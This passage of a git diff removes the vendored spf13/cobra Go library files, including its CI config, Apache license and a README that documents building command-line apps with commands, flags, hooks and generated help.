%s", s) -} diff --git a/vendor/github.com/spf13/cobra/.gitignore b/vendor/github.com/spf13/cobra/.gitignore deleted file mode 100644 index 1b8c7c2611..0000000000 --- a/vendor/github.com/spf13/cobra/.gitignore +++ /dev/null @@ -1,36 +0,0 @@ -# Compiled Object files, Static and Dynamic libs (Shared Objects) -*.o -*.a -*.so - -# Folders -_obj -_test - -# Architecture specific extensions/prefixes -*.[568vq] -[568vq].out - -*.cgo1.go -*.cgo2.c -_cgo_defun.c -_cgo_gotypes.go -_cgo_export.* - -_testmain.go - -# Vim files https://github.com/github/gitignore/blob/master/Global/Vim.gitignore -# swap -[._]*.s[a-w][a-z] -[._]s[a-w][a-z] -# session -Session.vim -# temporary -.netrwhist -*~ -# auto-generated tag files -tags - -*.exe - -cobra.test diff --git a/vendor/github.com/spf13/cobra/.mailmap b/vendor/github.com/spf13/cobra/.mailmap deleted file mode 100644 index 94ec53068a..0000000000 --- a/vendor/github.com/spf13/cobra/.mailmap +++ /dev/null @@ -1,3 +0,0 @@ -Steve Francia -Bjørn Erik Pedersen -Fabiano Franz diff --git a/vendor/github.com/spf13/cobra/.travis.yml b/vendor/github.com/spf13/cobra/.travis.yml deleted file mode 100644 index 68efa13633..0000000000 --- a/vendor/github.com/spf13/cobra/.travis.yml +++ /dev/null @@ -1,21 +0,0 @@ -language: go - -matrix: - include: - - go: 1.7.6 - - go: 1.8.3 - - go: tip - allow_failures: - - go: tip - -before_install: - - mkdir -p bin - - curl -Lso bin/shellcheck https://github.com/caarlos0/shellcheck-docker/releases/download/v0.4.3/shellcheck - - chmod +x bin/shellcheck -script: - - PATH=$PATH:$PWD/bin go test -v ./... - - go build - - diff -u <(echo -n) <(gofmt -d -s .) - - if [ -z $NOVET ]; then - diff -u <(echo -n) <(go tool vet . 2>&1 | grep -vE 'ExampleCommand|bash_completions.*Fprint'); - fi diff --git a/vendor/github.com/spf13/cobra/LICENSE.txt b/vendor/github.com/spf13/cobra/LICENSE.txt deleted file mode 100644 index 298f0e2665..0000000000 --- a/vendor/github.com/spf13/cobra/LICENSE.txt +++ /dev/null @@ -1,174 +0,0 @@ - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. diff --git a/vendor/github.com/spf13/cobra/README.md b/vendor/github.com/spf13/cobra/README.md deleted file mode 100644 index da9aa881e8..0000000000 --- a/vendor/github.com/spf13/cobra/README.md +++ /dev/null @@ -1,942 +0,0 @@ -![cobra logo](https://cloud.githubusercontent.com/assets/173412/10886352/ad566232-814f-11e5-9cd0-aa101788c117.png) - -Cobra is both a library for creating powerful modern CLI applications as well as a program to generate applications and command files. - -Many of the most widely used Go projects are built using Cobra including: - -* [Kubernetes](http://kubernetes.io/) -* [Hugo](http://gohugo.io) -* [rkt](https://github.com/coreos/rkt) -* [etcd](https://github.com/coreos/etcd) -* [Moby (former Docker)](https://github.com/moby/moby) -* [Docker (distribution)](https://github.com/docker/distribution) -* [OpenShift](https://www.openshift.com/) -* [Delve](https://github.com/derekparker/delve) -* [GopherJS](http://www.gopherjs.org/) -* [CockroachDB](http://www.cockroachlabs.com/) -* [Bleve](http://www.blevesearch.com/) -* [ProjectAtomic (enterprise)](http://www.projectatomic.io/) -* [GiantSwarm's swarm](https://github.com/giantswarm/cli) -* [Nanobox](https://github.com/nanobox-io/nanobox)/[Nanopack](https://github.com/nanopack) -* [rclone](http://rclone.org/) - - -[![Build Status](https://travis-ci.org/spf13/cobra.svg "Travis CI status")](https://travis-ci.org/spf13/cobra) -[![CircleCI status](https://circleci.com/gh/spf13/cobra.png?circle-token=:circle-token "CircleCI status")](https://circleci.com/gh/spf13/cobra) -[![GoDoc](https://godoc.org/github.com/spf13/cobra?status.svg)](https://godoc.org/github.com/spf13/cobra) - -![cobra](https://cloud.githubusercontent.com/assets/173412/10911369/84832a8e-8212-11e5-9f82-cc96660a4794.gif) - -# Overview - -Cobra is a library providing a simple interface to create powerful modern CLI -interfaces similar to git & go tools. - -Cobra is also an application that will generate your application scaffolding to rapidly -develop a Cobra-based application. - -Cobra provides: -* Easy subcommand-based CLIs: `app server`, `app fetch`, etc. -* Fully POSIX-compliant flags (including short & long versions) -* Nested subcommands -* Global, local and cascading flags -* Easy generation of applications & commands with `cobra init appname` & `cobra add cmdname` -* Intelligent suggestions (`app srver`... did you mean `app server`?) -* Automatic help generation for commands and flags -* Automatic detailed help for `app help [command]` -* Automatic help flag recognition of `-h`, `--help`, etc. -* Automatically generated bash autocomplete for your application -* Automatically generated man pages for your application -* Command aliases so you can change things without breaking them -* The flexibility to define your own help, usage, etc. -* Optional tight integration with [viper](http://github.com/spf13/viper) for 12-factor apps - -Cobra has an exceptionally clean interface and simple design without needless -constructors or initialization methods. - -Applications built with Cobra commands are designed to be as user-friendly as -possible. Flags can be placed before or after the command (as long as a -confusing space isn’t provided). Both short and long flags can be used. A -command need not even be fully typed. Help is automatically generated and -available for the application or for a specific command using either the help -command or the `--help` flag. - -# Concepts - -Cobra is built on a structure of commands, arguments & flags. - -**Commands** represent actions, **Args** are things and **Flags** are modifiers for those actions. - -The best applications will read like sentences when used. Users will know how -to use the application because they will natively understand how to use it. - -The pattern to follow is -`APPNAME VERB NOUN --ADJECTIVE.` - or -`APPNAME COMMAND ARG --FLAG` - -A few good real world examples may better illustrate this point. - -In the following example, 'server' is a command, and 'port' is a flag: - - hugo server --port=1313 - -In this command we are telling Git to clone the url bare. - - git clone URL --bare - -## Commands - -Command is the central point of the application. Each interaction that -the application supports will be contained in a Command. A command can -have children commands and optionally run an action. - -In the example above, 'server' is the command. - -A Command has the following structure: - -```go -type Command struct { - Use string // The one-line usage message. - Short string // The short description shown in the 'help' output. - Long string // The long message shown in the 'help ' output. - Run func(cmd *Command, args []string) // Run runs the command. -} -``` - -## Flags - -A Flag is a way to modify the behavior of a command. Cobra supports -fully POSIX-compliant flags as well as the Go [flag package](https://golang.org/pkg/flag/). -A Cobra command can define flags that persist through to children commands -and flags that are only available to that command. - -In the example above, 'port' is the flag. - -Flag functionality is provided by the [pflag -library](https://github.com/spf13/pflag), a fork of the flag standard library -which maintains the same interface while adding POSIX compliance. - -# Installing -Using Cobra is easy. First, use `go get` to install the latest version -of the library. This command will install the `cobra` generator executable -along with the library and its dependencies: - - go get -u github.com/spf13/cobra/cobra - -Next, include Cobra in your application: - -```go -import "github.com/spf13/cobra" -``` - -# Getting Started - -While you are welcome to provide your own organization, typically a Cobra-based -application will follow the following organizational structure: - -``` - ▾ appName/ - ▾ cmd/ - add.go - your.go - commands.go - here.go - main.go -``` - -In a Cobra app, typically the main.go file is very bare. It serves one purpose: initializing Cobra. - -```go -package main - -import ( - "fmt" - "os" - - "{pathToYourApp}/cmd" -) - -func main() { - if err := cmd.RootCmd.Execute(); err != nil { - fmt.Println(err) - os.Exit(1) - } -} -``` - -## Using the Cobra Generator - -Cobra provides its own program that will create your application and add any -commands you want. It's the easiest way to incorporate Cobra into your application. - -In order to use the cobra command, compile it using the following command: - - go get github.com/spf13/cobra/cobra - -This will create the cobra executable under your `$GOPATH/bin` directory. - -### cobra init - -The `cobra init [yourApp]` command will create your initial application code -for you. It is a very powerful application that will populate your program with -the right structure so you can immediately enjoy all the benefits of Cobra. It -will also automatically apply the license you specify to your application. - -Cobra init is pretty smart. You can provide it a full path, or simply a path -similar to what is expected in the import. - -``` -cobra init github.com/spf13/newAppName -``` - -### cobra add - -Once an application is initialized Cobra can create additional commands for you. -Let's say you created an app and you wanted the following commands for it: - -* app serve -* app config -* app config create - -In your project directory (where your main.go file is) you would run the following: - -``` -cobra add serve -cobra add config -cobra add create -p 'configCmd' -``` - -*Note: Use camelCase (not snake_case/snake-case) for command names. -Otherwise, you will encounter errors. -For example, `cobra add add-user` is incorrect, but `cobra add addUser` is valid.* - -Once you have run these three commands you would have an app structure similar to -the following: - -``` - ▾ app/ - ▾ cmd/ - serve.go - config.go - create.go - main.go -``` - -At this point you can run `go run main.go` and it would run your app. `go run -main.go serve`, `go run main.go config`, `go run main.go config create` along -with `go run main.go help serve`, etc. would all work. - -Obviously you haven't added your own code to these yet. The commands are ready -for you to give them their tasks. Have fun! - -### Configuring the cobra generator - -The Cobra generator will be easier to use if you provide a simple configuration -file which will help you eliminate providing a bunch of repeated information in -flags over and over. - -An example ~/.cobra.yaml file: - -```yaml -author: Steve Francia -license: MIT -``` - -You can specify no license by setting `license` to `none` or you can specify -a custom license: - -```yaml -license: - header: This file is part of {{ .appName }}. - text: | - {{ .copyright }} - - This is my license. There are many like it, but this one is mine. - My license is my best friend. It is my life. I must master it as I must - master my life. -``` - -You can also use built-in licenses. For example, **GPLv2**, **GPLv3**, **LGPL**, -**AGPL**, **MIT**, **2-Clause BSD** or **3-Clause BSD**. - -## Manually implementing Cobra - -To manually implement Cobra you need to create a bare main.go file and a RootCmd file. -You will optionally provide additional commands as you see fit. - -### Create the root command - -The root command represents your binary itself. - -#### Manually create rootCmd - -Cobra doesn't require any special constructors. Simply create your commands. - -Ideally you place this in app/cmd/root.go: - -```go -var RootCmd = &cobra.Command{ - Use: "hugo", - Short: "Hugo is a very fast static site generator", - Long: `A Fast and Flexible Static Site Generator built with - love by spf13 and friends in Go. - Complete documentation is available at http://hugo.spf13.com`, - Run: func(cmd *cobra.Command, args []string) { - // Do Stuff Here - }, -} -``` - -You will additionally define flags and handle configuration in your init() function. - -For example cmd/root.go: - -```go -import ( - "fmt" - "os" - - homedir "github.com/mitchellh/go-homedir" - "github.com/spf13/cobra" - "github.com/spf13/viper" -) - -func init() { - cobra.OnInitialize(initConfig) - RootCmd.PersistentFlags().StringVar(&cfgFile, "config", "", "config file (default is $HOME/.cobra.yaml)") - RootCmd.PersistentFlags().StringVarP(&projectBase, "projectbase", "b", "", "base project directory eg. github.com/spf13/") - RootCmd.PersistentFlags().StringP("author", "a", "YOUR NAME", "Author name for copyright attribution") - RootCmd.PersistentFlags().StringVarP(&userLicense, "license", "l", "", "Name of license for the project (can provide `licensetext` in config)") - RootCmd.PersistentFlags().Bool("viper", true, "Use Viper for configuration") - viper.BindPFlag("author", RootCmd.PersistentFlags().Lookup("author")) - viper.BindPFlag("projectbase", RootCmd.PersistentFlags().Lookup("projectbase")) - viper.BindPFlag("useViper", RootCmd.PersistentFlags().Lookup("viper")) - viper.SetDefault("author", "NAME HERE ") - viper.SetDefault("license", "apache") -} - -func Execute() { - RootCmd.Execute() -} - -func initConfig() { - // Don't forget to read config either from cfgFile or from home directory! - if cfgFile != "" { - // Use config file from the flag. - viper.SetConfigFile(cfgFile) - } else { - // Find home directory. - home, err := homedir.Dir() - if err != nil { - fmt.Println(err) - os.Exit(1) - } - - // Search config in home directory with name ".cobra" (without extension). - viper.AddConfigPath(home) - viper.SetConfigName(".cobra") - } - - if err := viper.ReadInConfig(); err != nil { - fmt.Println("Can't read config:", err) - os.Exit(1) - } -} -``` - -### Create your main.go - -With the root command you need to have your main function execute it. -Execute should be run on the root for clarity, though it can be called on any command. - -In a Cobra app, typically the main.go file is very bare. It serves, one purpose, to initialize Cobra. - -```go -package main - -import ( - "fmt" - "os" - - "{pathToYourApp}/cmd" -) - -func main() { - if err := cmd.RootCmd.Execute(); err != nil { - fmt.Println(err) - os.Exit(1) - } -} -``` - -### Create additional commands - -Additional commands can be defined and typically are each given their own file -inside of the cmd/ directory. - -If you wanted to create a version command you would create cmd/version.go and -populate it with the following: - -```go -package cmd - -import ( - "github.com/spf13/cobra" - "fmt" -) - -func init() { - RootCmd.AddCommand(versionCmd) -} - -var versionCmd = &cobra.Command{ - Use: "version", - Short: "Print the version number of Hugo", - Long: `All software has versions. This is Hugo's`, - Run: func(cmd *cobra.Command, args []string) { - fmt.Println("Hugo Static Site Generator v0.9 -- HEAD") - }, -} -``` - -### Attach command to its parent - - -If you notice in the above example we attach the command to its parent. In -this case the parent is the rootCmd. In this example we are attaching it to the -root, but commands can be attached at any level. - -```go -RootCmd.AddCommand(versionCmd) -``` - -## Working with Flags - -Flags provide modifiers to control how the action command operates. - -### Assign flags to a command - -Since the flags are defined and used in different locations, we need to -define a variable outside with the correct scope to assign the flag to -work with. - -```go -var Verbose bool -var Source string -``` - -There are two different approaches to assign a flag. - -### Persistent Flags - -A flag can be 'persistent' meaning that this flag will be available to the -command it's assigned to as well as every command under that command. For -global flags, assign a flag as a persistent flag on the root. - -```go -RootCmd.PersistentFlags().BoolVarP(&Verbose, "verbose", "v", false, "verbose output") -``` - -### Local Flags - -A flag can also be assigned locally which will only apply to that specific command. - -```go -RootCmd.Flags().StringVarP(&Source, "source", "s", "", "Source directory to read from") -``` - -### Bind Flags with Config - -You can also bind your flags with [viper](https://github.com/spf13/viper): -```go -var author string - -func init() { - RootCmd.PersistentFlags().StringVar(&author, "author", "YOUR NAME", "Author name for copyright attribution") - viper.BindPFlag("author", RootCmd.PersistentFlags().Lookup("author")) -} -``` - -In this example the persistent flag `author` is bound with `viper`. -**Note**, that the variable `author` will not be set to the value from config, -when the `--author` flag is not provided by user. - -More in [viper documentation](https://github.com/spf13/viper#working-with-flags). - -## Positional and Custom Arguments - -Validation of positional arguments can be specified using the `Args` field -of `Command`. - -The following validators are built in: - -- `NoArgs` - the command will report an error if there are any positional args. -- `ArbitraryArgs` - the command will accept any args. -- `OnlyValidArgs` - the command will report an error if there are any positional args that are not in the `ValidArgs` field of `Command`. -- `MinimumNArgs(int)` - the command will report an error if there are not at least N positional args. -- `MaximumNArgs(int)` - the command will report an error if there are more than N positional args. -- `ExactArgs(int)` - the command will report an error if there are not exactly N positional args. -- `RangeArgs(min, max)` - the command will report an error if the number of args is not between the minimum and maximum number of expected args. - -An example of setting the custom validator: - -```go -var cmd = &cobra.Command{ - Short: "hello", - Args: func(cmd *cobra.Command, args []string) error { - if len(args) < 1 { - return errors.New("requires at least one arg") - } - if myapp.IsValidColor(args[0]) { - return nil - } - return fmt.Errorf("invalid color specified: %s", args[0]) - }, - Run: func(cmd *cobra.Command, args []string) { - fmt.Println("Hello, World!") - }, -} -``` - -## Example - -In the example below, we have defined three commands. Two are at the top level -and one (cmdTimes) is a child of one of the top commands. In this case the root -is not executable meaning that a subcommand is required. This is accomplished -by not providing a 'Run' for the 'rootCmd'. - -We have only defined one flag for a single command. - -More documentation about flags is available at https://github.com/spf13/pflag - -```go -package main - -import ( - "fmt" - "strings" - - "github.com/spf13/cobra" -) - -func main() { - var echoTimes int - - var cmdPrint = &cobra.Command{ - Use: "print [string to print]", - Short: "Print anything to the screen", - Long: `print is for printing anything back to the screen. -For many years people have printed back to the screen.`, - Args: cobra.MinimumNArgs(1), - Run: func(cmd *cobra.Command, args []string) { - fmt.Println("Print: " + strings.Join(args, " ")) - }, - } - - var cmdEcho = &cobra.Command{ - Use: "echo [string to echo]", - Short: "Echo anything to the screen", - Long: `echo is for echoing anything back. -Echo works a lot like print, except it has a child command.`, - Args: cobra.MinimumNArgs(1), - Run: func(cmd *cobra.Command, args []string) { - fmt.Println("Print: " + strings.Join(args, " ")) - }, - } - - var cmdTimes = &cobra.Command{ - Use: "times [# times] [string to echo]", - Short: "Echo anything to the screen more times", - Long: `echo things multiple times back to the user by providing -a count and a string.`, - Args: cobra.MinimumNArgs(1), - Run: func(cmd *cobra.Command, args []string) { - for i := 0; i < echoTimes; i++ { - fmt.Println("Echo: " + strings.Join(args, " ")) - } - }, - } - - cmdTimes.Flags().IntVarP(&echoTimes, "times", "t", 1, "times to echo the input") - - var rootCmd = &cobra.Command{Use: "app"} - rootCmd.AddCommand(cmdPrint, cmdEcho) - cmdEcho.AddCommand(cmdTimes) - rootCmd.Execute() -} -``` - -For a more complete example of a larger application, please checkout [Hugo](http://gohugo.io/). - -## The Help Command - -Cobra automatically adds a help command to your application when you have subcommands. -This will be called when a user runs 'app help'. Additionally, help will also -support all other commands as input. Say, for instance, you have a command called -'create' without any additional configuration; Cobra will work when 'app help -create' is called. Every command will automatically have the '--help' flag added. - -### Example - -The following output is automatically generated by Cobra. Nothing beyond the -command and flag definitions are needed. - - > hugo help - - hugo is the main command, used to build your Hugo site. - - Hugo is a Fast and Flexible Static Site Generator - built with love by spf13 and friends in Go. - - Complete documentation is available at http://gohugo.io/. - - Usage: - hugo [flags] - hugo [command] - - Available Commands: - server Hugo runs its own webserver to render the files - version Print the version number of Hugo - config Print the site configuration - check Check content in the source directory - benchmark Benchmark hugo by building a site a number of times. - convert Convert your content to different formats - new Create new content for your site - list Listing out various types of content - undraft Undraft changes the content's draft status from 'True' to 'False' - genautocomplete Generate shell autocompletion script for Hugo - gendoc Generate Markdown documentation for the Hugo CLI. - genman Generate man page for Hugo - import Import your site from others. - - Flags: - -b, --baseURL="": hostname (and path) to the root, e.g. http://spf13.com/ - -D, --buildDrafts[=false]: include content marked as draft - -F, --buildFuture[=false]: include content with publishdate in the future - --cacheDir="": filesystem path to cache directory. Defaults: $TMPDIR/hugo_cache/ - --canonifyURLs[=false]: if true, all relative URLs will be canonicalized using baseURL - --config="": config file (default is path/config.yaml|json|toml) - -d, --destination="": filesystem path to write files to - --disableRSS[=false]: Do not build RSS files - --disableSitemap[=false]: Do not build Sitemap file - --editor="": edit new content with this editor, if provided - --ignoreCache[=false]: Ignores the cache directory for reading but still writes to it - --log[=false]: Enable Logging - --logFile="": Log File path (if set, logging enabled automatically) - --noTimes[=false]: Don't sync modification time of files - --pluralizeListTitles[=true]: Pluralize titles in lists using inflect - --preserveTaxonomyNames[=false]: Preserve taxonomy names as written ("GÊrard Depardieu" vs "gerard-depardieu") - -s, --source="": filesystem path to read files relative from - --stepAnalysis[=false]: display memory and timing of different steps of the program - -t, --theme="": theme to use (located in /themes/THEMENAME/) - --uglyURLs[=false]: if true, use /filename.html instead of /filename/ - -v, --verbose[=false]: verbose output - --verboseLog[=false]: verbose logging - -w, --watch[=false]: watch filesystem for changes and recreate as needed - - Use "hugo [command] --help" for more information about a command. - - -Help is just a command like any other. There is no special logic or behavior -around it. In fact, you can provide your own if you want. - -### Defining your own help - -You can provide your own Help command or your own template for the default command to use. - -The default help command is - -```go -func (c *Command) initHelp() { - if c.helpCommand == nil { - c.helpCommand = &Command{ - Use: "help [command]", - Short: "Help about any command", - Long: `Help provides help for any command in the application. - Simply type ` + c.Name() + ` help [path to command] for full details.`, - Run: c.HelpFunc(), - } - } - c.AddCommand(c.helpCommand) -} -``` - -You can provide your own command, function or template through the following methods: - -```go -command.SetHelpCommand(cmd *Command) -command.SetHelpFunc(f func(*Command, []string)) -command.SetHelpTemplate(s string) -``` - -The latter two will also apply to any children commands. - -## Usage - -When the user provides an invalid flag or invalid command, Cobra responds by -showing the user the 'usage'. - -### Example -You may recognize this from the help above. That's because the default help -embeds the usage as part of its output. - - Usage: - hugo [flags] - hugo [command] - - Available Commands: - server Hugo runs its own webserver to render the files - version Print the version number of Hugo - config Print the site configuration - check Check content in the source directory - benchmark Benchmark hugo by building a site a number of times. - convert Convert your content to different formats - new Create new content for your site - list Listing out various types of content - undraft Undraft changes the content's draft status from 'True' to 'False' - genautocomplete Generate shell autocompletion script for Hugo - gendoc Generate Markdown documentation for the Hugo CLI. - genman Generate man page for Hugo - import Import your site from others. - - Flags: - -b, --baseURL="": hostname (and path) to the root, e.g. http://spf13.com/ - -D, --buildDrafts[=false]: include content marked as draft - -F, --buildFuture[=false]: include content with publishdate in the future - --cacheDir="": filesystem path to cache directory. Defaults: $TMPDIR/hugo_cache/ - --canonifyURLs[=false]: if true, all relative URLs will be canonicalized using baseURL - --config="": config file (default is path/config.yaml|json|toml) - -d, --destination="": filesystem path to write files to - --disableRSS[=false]: Do not build RSS files - --disableSitemap[=false]: Do not build Sitemap file - --editor="": edit new content with this editor, if provided - --ignoreCache[=false]: Ignores the cache directory for reading but still writes to it - --log[=false]: Enable Logging - --logFile="": Log File path (if set, logging enabled automatically) - --noTimes[=false]: Don't sync modification time of files - --pluralizeListTitles[=true]: Pluralize titles in lists using inflect - --preserveTaxonomyNames[=false]: Preserve taxonomy names as written ("GÊrard Depardieu" vs "gerard-depardieu") - -s, --source="": filesystem path to read files relative from - --stepAnalysis[=false]: display memory and timing of different steps of the program - -t, --theme="": theme to use (located in /themes/THEMENAME/) - --uglyURLs[=false]: if true, use /filename.html instead of /filename/ - -v, --verbose[=false]: verbose output - --verboseLog[=false]: verbose logging - -w, --watch[=false]: watch filesystem for changes and recreate as needed - -### Defining your own usage -You can provide your own usage function or template for Cobra to use. - -The default usage function is: - -```go -return func(c *Command) error { - err := tmpl(c.Out(), c.UsageTemplate(), c) - return err -} -``` - -Like help, the function and template are overridable through public methods: - -```go -command.SetUsageFunc(f func(*Command) error) - -command.SetUsageTemplate(s string) -``` - -## PreRun or PostRun Hooks - -It is possible to run functions before or after the main `Run` function of your command. The `PersistentPreRun` and `PreRun` functions will be executed before `Run`. `PersistentPostRun` and `PostRun` will be executed after `Run`. The `Persistent*Run` functions will be inherited by children if they do not declare their own. These functions are run in the following order: - -- `PersistentPreRun` -- `PreRun` -- `Run` -- `PostRun` -- `PersistentPostRun` - -An example of two commands which use all of these features is below. When the subcommand is executed, it will run the root command's `PersistentPreRun` but not the root command's `PersistentPostRun`: - -```go -package main - -import ( - "fmt" - - "github.com/spf13/cobra" -) - -func main() { - - var rootCmd = &cobra.Command{ - Use: "root [sub]", - Short: "My root command", - PersistentPreRun: func(cmd *cobra.Command, args []string) { - fmt.Printf("Inside rootCmd PersistentPreRun with args: %v\n", args) - }, - PreRun: func(cmd *cobra.Command, args []string) { - fmt.Printf("Inside rootCmd PreRun with args: %v\n", args) - }, - Run: func(cmd *cobra.Command, args []string) { - fmt.Printf("Inside rootCmd Run with args: %v\n", args) - }, - PostRun: func(cmd *cobra.Command, args []string) { - fmt.Printf("Inside rootCmd PostRun with args: %v\n", args) - }, - PersistentPostRun: func(cmd *cobra.Command, args []string) { - fmt.Printf("Inside rootCmd PersistentPostRun with args: %v\n", args) - }, - } - - var subCmd = &cobra.Command{ - Use: "sub [no options!]", - Short: "My subcommand", - PreRun: func(cmd *cobra.Command, args []string) { - fmt.Printf("Inside subCmd PreRun with args: %v\n", args) - }, - Run: func(cmd *cobra.Command, args []string) { - fmt.Printf("Inside subCmd Run with args: %v\n", args) - }, - PostRun: func(cmd *cobra.Command, args []string) { - fmt.Printf("Inside subCmd PostRun with args: %v\n", args) - }, - PersistentPostRun: func(cmd *cobra.Command, args []string) { - fmt.Printf("Inside subCmd PersistentPostRun with args: %v\n", args) - }, - } - - rootCmd.AddCommand(subCmd) - - rootCmd.SetArgs([]string{""}) - rootCmd.Execute() - fmt.Println() - rootCmd.SetArgs([]string{"sub", "arg1", "arg2"}) - rootCmd.Execute() -} -``` - - -## Alternative Error Handling - -Cobra also has functions where the return signature is an error. This allows for errors to bubble up to the top, -providing a way to handle the errors in one location. The current list of functions that return an error is: - -* PersistentPreRunE -* PreRunE -* RunE -* PostRunE -* PersistentPostRunE - -If you would like to silence the default `error` and `usage` output in favor of your own, you can set `SilenceUsage` -and `SilenceErrors` to `true` on the command. A child command respects these flags if they are set on the parent -command. - -**Example Usage using RunE:** - -```go -package main - -import ( - "errors" - "log" - - "github.com/spf13/cobra" -) - -func main() { - var rootCmd = &cobra.Command{ - Use: "hugo", - Short: "Hugo is a very fast static site generator", - Long: `A Fast and Flexible Static Site Generator built with -love by spf13 and friends in Go. -Complete documentation is available at http://hugo.spf13.com`, - RunE: func(cmd *cobra.Command, args []string) error { - // Do Stuff Here - return errors.New("some random error") - }, - } - - if err := rootCmd.Execute(); err != nil { - log.Fatal(err) - } -} -``` - -## Suggestions when "unknown command" happens - -Cobra will print automatic suggestions when "unknown command" errors happen. This allows Cobra to behave similarly to the `git` command when a typo happens. For example: - -``` -$ hugo srever -Error: unknown command "srever" for "hugo" - -Did you mean this? - server - -Run 'hugo --help' for usage. -``` - -Suggestions are automatic based on every subcommand registered and use an implementation of [Levenshtein distance](http://en.wikipedia.org/wiki/Levenshtein_distance). Every registered command that matches a minimum 